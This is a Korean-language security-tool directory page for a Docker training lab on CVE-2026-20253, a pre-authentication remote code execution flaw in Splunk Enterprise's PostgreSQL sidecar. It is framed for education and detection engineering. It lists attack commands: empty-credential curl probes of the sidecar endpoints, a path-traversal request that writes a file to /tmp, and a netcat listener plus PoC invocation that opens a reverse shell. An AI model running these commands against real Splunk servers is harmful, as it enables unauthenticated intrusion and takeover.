Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-20253 — Splunk Enterprise의 PostgreSQL 사이드카 서비스를 통한 사전 인증 RCE인 CVE-2026-20253에 대한 PoC 익스플로잇과 검사기가 포함된 Docker 랩 환경입니다. | Kitploit
도구/GitHubGitHub/ivanesk315/cve-2026-20253
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Splunk Enterprise의 PostgreSQL 사이드카 서비스를 통한 사전 인증 RCE인 CVE-2026-20253에 대한 PoC 익스플로잇과 검사기가 포함된 Docker 랩 환경입니다.

저장소 보기
0일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-20253 실습 환경

PostgreSQL 사이드카 서비스를 통한 Splunk Enterprise 사전 인증 RCE

CVECVE-2026-20253
CVSS9.8 (치명적)
유형인증되지 않은 원격 코드 실행
CWECWE-306: 중요 기능에 대한 인증 누락
제품Splunk Enterprise 10.0.x / 10.2.x

면책 조항: 이 실습은 승인된 보안 연구, 교육 및 침투 테스트 전용입니다. 소유하지 않았거나 명시적인 테스트 승인을 받지 않은 시스템에 사용하지 마십시오.


실습 아키텍처

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker 네트워크: cve-lab             │
│                  서브넷: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  포트 8000 (Web)     │   │  nmap, netcat        │  │
│  │  포트 8089 (API)     │   │  postgresql-client   │  │
│  │  포트 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (선택 사항, 프로필: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  포트 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

사전 요구 사항

  • Docker & Docker Compose
  • Git
  • 8GB 이상의 RAM (Splunk는 상당한 메모리를 요구함)
  • 인터넷 접속 (Docker 이미지를 가져오기 위함)

빠른 시작

1. 취약한 실습 환경 시작

root@kitploit:~
# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Splunk 실행 확인

  • 브라우저 열기: http://localhost:8000
  • 로그인: admin / ChangeMeNow!

3. 취약점 검사기 실행

root@kitploit:~
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. PoC 익스플로잇 실행

root@kitploit:~
# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (선택 사항) 비교를 위한 패치된 버전 시작

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

실습 과제

과제 1: 정찰 및 취약점 식별

목표: PostgreSQL 사이드카 엔드포인트를 식별하고 인증 우회를 검증합니다.

root@kitploit:~
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

질문:

  • 어떤 HTTP 상태 코드가 관찰됩니까?
  • Authorization: Basic Og==는 무엇으로 디코딩됩니까?
  • 400 응답이 (401과 달리) 취약점을 나타내는 이유는 무엇입니까?

과제 2: 파일 쓰기 프리미티브

목표: Splunk 서버에서 임의 파일 생성이 가능함을 입증합니다.

root@kitploit:~
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

과제 3: 전체 RCE 체인

목표: Splunk 서버에서 코드 실행을 달성합니다.

  1. 공격자 머신에서 netcat 리스너 시작
  2. --rce 플래그를 사용하여 PoC 익스플로잇 실행
  3. 리버스 셸 연결 확인
  4. 셸이 가진 권한 조사 (whoami, id, ls /opt/splunk/etc/)

과제 4: 패치 차이 분석

목표: 취약한 버전과 패치된 버전 간에 무엇이 변경되었는지 이해합니다.

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

과제 5: 탐지 엔지니어링

목표: 이 취약점에 대한 탐지 규칙을 작성합니다.

  1. 취약한 인스턴스에서 Splunk 내부 로깅 활성화
  2. 익스플로잇 실행
  3. index=_internal에서 공격의 흔적 검색
  4. SPL 탐지 쿼리 작성 (report/ANALYSIS.md 섹션 6 참조)
  5. 익스플로잇에 대해 탐지 규칙 테스트

파일 구조

root@kitploit:~
CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

디버깅 팁

Splunk 컨테이너가 시작되지 않는 경우

root@kitploit:~
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

PostgreSQL 사이드카가 실행 중인지 확인

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Splunk 내부 로그 검사

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

대상 모듈러 입력 스크립트 확인

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

분석을 위한 네트워크 트래픽 캡처

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

정리

root@kitploit:~
# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

참고 자료

  • 전체 근본 원인 분석
  • Splunk 권고 SVD-2026-0610
  • WatchTowr Labs 분석 및 PoC
  • CISA KEV 카탈로그
  • Picus Security 기술 분석
도구 다운로드